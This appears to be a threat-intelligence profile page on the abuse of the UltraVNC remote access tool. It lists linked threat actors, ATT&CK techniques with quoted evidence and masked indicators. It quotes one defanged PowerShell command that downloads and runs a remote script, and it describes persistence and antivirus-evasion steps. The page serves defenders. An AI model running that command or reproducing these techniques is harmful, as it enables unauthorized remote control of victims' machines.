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Mallory
Malware6 associated actors

UltraVNC

Tracked since Nov 25, 2025 · Updated 9 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days1 mention · peak 1 in a dayToday
Vulns0Associated
Actors6Associated
ATT&CK20Techniques
IOCs26Tracked
Type
RAT
Capabilities
PersistencePost exploitationDefense evasion
Delivery
PhishingSpearphishing
Platforms
Windows

UltraVNC is a legitimate, open-source remote administration utility for Windows that threat actors abuse for unauthorized remote desktop access and control. It is not inherently malicious, but attacker-controlled deployments serve as remote access tools within criminal and cyberespionage operations. Observed configurations include reverse connections to attacker-controlled infrastructure and connections through VNC repeaters.

UltraVNC has been deployed by UNC2465 following SMOKEDHAM infections, by Gamaredon in espionage operations against Ukrainian entities, by Awaken Likho, also known as Core Werewolf, and by Larva-24009 in phishing campaigns targeting enterprise users in Korea and elsewhere. Delivery chains have included spearphishing with malicious documents, document-disguised shortcuts, multistage scripts, and compromised software installers. In UNC2465 intrusions, PowerShell downloaded the executable and its configuration from Dropbox, and operators renamed the utility to resemble Windows components. Registry autorun entries and modified shortcuts have been used to maintain its execution.

UltraVNC primarily provides post-compromise interactive access in these operations. Attackers have installed it alongside other remote access tools and used it to deploy additional malware, including the TokenBuoySH backdoor. Credential theft, keylogging, and ransomware activity associated with the surrounding campaigns are not intrinsic UltraVNC capabilities.

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Threat actors

Associated threat actors

6 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

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UNC2465

They retrieved the UltraVNC payload and its configuration from the UltraVNC.ini file via Dropbox, subsequently placing them in the C:\Programdata\Winlogon directory.

via russianpanda blogmalbearlabs.com
Awaken Likho

While the attackers previously relied on the open source virtual network computing (VNC) utility UltraVNC for remote access, MeshAgent replaced UltraVNC in this latest operation.

via intel471intel471.com
Gamaredon Group

deep-green.exe – UltraVNC remote administration tool that connects to a repeater.

via bleeping computerbleepingcomputer.com
Core Werewolf

В ходе исследования было обнаружено, что бэкдор впервые появился в июле 2025 года, но тогда он устанавливался с помощью UltraVNC, а не собственного ПО TokenBuoy.

via securelist rusecurelist.ru
Larva-24009

The threat actor installed Quasar RAT and UltraVNC Server to achieve System Control over the infected system.

via ahnlab asec blogasec.ahnlab.com
Lazarus

“deploying two types of payloads. The first is a manipulated Ultra VNC program…”

via securelistsecurelist.com
MITRE ATT&CK

Techniques & procedures

20 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1588.002ToolEvidence1

« T1588.002 — Obtain Capabilities: Tool (Resource Development) »; the source lists UltraVNC under « Malware / Outils ».

Initial Access

2 techniques
T1566PhishingEvidence1

“Their documented approaches include phishing, stolen credentials, and the exploitation of exposed systems.” A curriculum paper also “examined a phishing operation built around self-extracting archives and renamed UltraVNC binaries.”

T1566.001Spearphishing AttachmentEvidence2

“One paper examined a phishing operation built around self-extracting archives and renamed UltraVNC binaries.”

Execution

3 techniques
T1053.005Scheduled TaskEvidence1

It registers a task named “WpnUserHost_MutualWatchdog” to download and execute the “repair.Ps1” file... [and] “WpnUserHost_HourlyWatchdog” to download and execute the “repair.Ps1” file every hour.

T1059.001PowerShellEvidence1

PowerShell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command “irm hxxp://103.86.86[.]244:800/V/deploy.Ps1 | iex”

T1204.002Malicious FileEvidence1

The link in either page led to the installer for Tiflux, Network Solutions Agreement.msi

Persistence

4 techniques
T1053.005Scheduled TaskEvidence1

It registers a task named “WpnUserHost_MutualWatchdog” to download and execute the “repair.Ps1” file... [and] “WpnUserHost_HourlyWatchdog” to download and execute the “repair.Ps1” file every hour.

T1112Modify RegistryEvidence1

the .msi installer also contained five Windows Registry ( .reg ) files, which it could use to make modifications to the computer

T1543.003Windows ServiceEvidence1

If the installer fails to install the service, it registers a service named “WpnUserHost” so that the Installer can run as a service.

T1547Boot or Logon Autostart ExecutionEvidence1

One of the Registry changes added a Services entry for another VNC clone, named TightVNC, to the Windows Services, and set it to be enabled even if Windows was rebooted into Safe Mode.

Privilege Escalation

3 techniques
T1053.005Scheduled TaskEvidence1

It registers a task named “WpnUserHost_MutualWatchdog” to download and execute the “repair.Ps1” file... [and] “WpnUserHost_HourlyWatchdog” to download and execute the “repair.Ps1” file every hour.

T1543.003Windows ServiceEvidence1

If the installer fails to install the service, it registers a service named “WpnUserHost” so that the Installer can run as a service.

T1547Boot or Logon Autostart ExecutionEvidence1

One of the Registry changes added a Services entry for another VNC clone, named TightVNC, to the Windows Services, and set it to be enabled even if Windows was rebooted into Safe Mode.

Stealth

1 technique
T1036MasqueradingEvidence2

"One paper examined a phishing operation built around self-extracting archives and renamed UltraVNC binaries."

Defense Impairment

3 techniques
T1112Modify RegistryEvidence1

the .msi installer also contained five Windows Registry ( .reg ) files, which it could use to make modifications to the computer

T1685Disable or Modify ToolsEvidence2

The installation script creates the installation folder “C:\Windows\Fonts\web” and attempts to add exception paths for antivirus programs.

T1686Disable or Modify System FirewallEvidence1

It proceeds with additional installation... first, it installs the embedded UltraVNC. Next, add firewall rules, randomly generate a temporary VNC port and password.

Credential Access

2 techniques
T1552Unsecured CredentialsEvidence1

As can be seen in the first lines of the file itself, we found the encoded password.

T1552.001Credentials In FilesEvidence1

The initialization files bundled with the UltraVNC package contained two hardcoded passwords.

Discovery

1 technique
T1033System Owner/User DiscoveryEvidence1

The Installer connects to the C&C server to send the hostname and machine_id.

Lateral Movement

2 techniques
T1021Remote ServicesEvidence2

Anubis also exploited authentic remote access and admin tools such as MeshAgent, Total Software Deployment, ScreenConnect, UltraVNC, and Zoho Assist to merge with usual IT operations while handling control of target systems.

T1021.005VNCEvidence3

Gamaredon Group has used VNC tools, including UltraVNC, to remotely interact with compromised hosts.

Command and Control

3 techniques
T1071.001Web ProtocolsEvidence1

The Installer connects to the C&C server to send the hostname and machine_id, and receives data such as the device_id, token, and VNC password.

T1105Ingress Tool TransferEvidence5

A PowerShell process used the curl command to download a compressed file... The installation script... downloads UltraVNC-related files from the download server.

T1219Remote Access ToolsEvidence15

45% of endpoint-related incidents Huntress investigated involved abuse of remote monitoring and management (RMM) tools... a fake service agreement installed Tiflux before quietly stacking UltraVNC, Splashtop and ScreenConnect on the same device.

Indicators of compromise

Observables

26 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Mallory platform

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IOC matching26Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors6Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping20Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.